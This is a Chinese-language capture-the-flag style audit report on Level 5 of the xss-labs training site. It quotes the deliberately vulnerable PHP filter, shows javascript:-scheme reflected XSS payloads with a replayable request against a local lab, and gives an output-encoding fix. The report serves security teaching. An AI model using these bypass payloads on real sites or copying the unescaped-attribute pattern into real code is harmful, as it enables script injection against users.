xss-labs Level5 代码审计报告
目标文件:
level5.php| 漏洞类型: 反射型 XSS —— 黑名单关键字替换绕过(大小写已压平,改用javascript:协议) | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径:GET /level5.php?keyword=<payload>→<input value="...">属性/标签注入
一、漏洞代码定位
level5.php 第 17-22 行:
$str = strtolower($_GET["keyword"]); // L17 先转小写,堵死大小写绕过
$str2 = str_replace("<script", "<scr_ipt", $str); // L18 只处理 <script
$str3 = str_replace("on", "o_n", $str2); // L19 全局替换 on → o_n
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'"> // L22 危险:value 属性未转义
<input type=submit name=submit value=搜索 />
</form>
</center>';
漏洞点: L22。过滤目标覆盖了 <script 标签与所有 on 开头事件,但:
value属性依然未转义引号,可注入任意属性。- 未过滤
javascript:、href、iframe等其它可执行载体。
二、漏洞原理
strtolower已把输入压平,因此大写绕过无效(Level6 是没压平所以能大写绕过,本关不行)。<script与on被替换成含下划线形式,<img src=x onerror=...>等事件向量也被on→o_n破坏(已实测:onerror→o_nerror)。- 但过滤存在黑名单覆盖不全:
javascript:伪协议、href等均未拦截。因此可用<a href=javascript:alert(1)>实现"点击触发"的 XSS;<iframe src=javascript:alert(1)>亦可通过过滤(需浏览器对该向量是否自动执行做确认)。 - 本质: 关键字替换(即便加了下划线防"再组合")也挡不住"换一种攻击形态"。
三、利用方式与 Yakit 可重放数据包
Payload(URL 解码后,主推):
?keyword="><a href=javascript:alert(1)>xss</a>
渲染结果: <input name=keyword value=""><a href=javascript:alert(1)>xss</a>"> → 生成一个可点击的链接,点击后 javascript:alert(1) 在页面上下文执行。
备选 Payload(若浏览器支持 iframe + javascript: 自动执行):
?keyword="><iframe src=javascript:alert(1)>
Yakit 可重放原始请求(主推):
GET /level5.php?keyword=%22%3E%3Ca%20href%3Djavascript:alert(1)%3Exss%3C%2Fa%3E HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
触发方式: 发送后页面出现"xss"链接,点击(或在新标签打开)触发 alert(1) → 命中通关逻辑跳转 level6。
四、修复建议
$str = $_GET["keyword"] ?? "";
$safe = htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); // 根本修复:输出编码
echo "<h2 align=center>没有找到和".$safe."相关的结果.</h2>"
. '<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$safe.'">
<input type=submit name=submit value=搜索 />
</form></center>';
要点:
- 输出编码才是根本;
str_replace黑名单无论怎么加关键字都会被新攻击形态绕过。 - 若业务确实需要接收 URL/链接,必须做 scheme 白名单(仅允许
http:/https:),拒绝javascript:、data:、vbscript:等。 - CSP
script-src收紧,阻断内联脚本执行作为兜底。
五、备注
- 已实测本关过滤结果:
<script>→<scr_ipt>(被拦截)、<img src=x onerror=...>→<img src=x o_nerror=...>(被拦截)、<a href=javascript:alert(1)>(原样通过)。 - 与 Level6 对比可加深理解: 同样是黑名单,Level5 因先
strtolower导致大小写绕过失效;Level6 未压平导致大写绕过可行。
正文完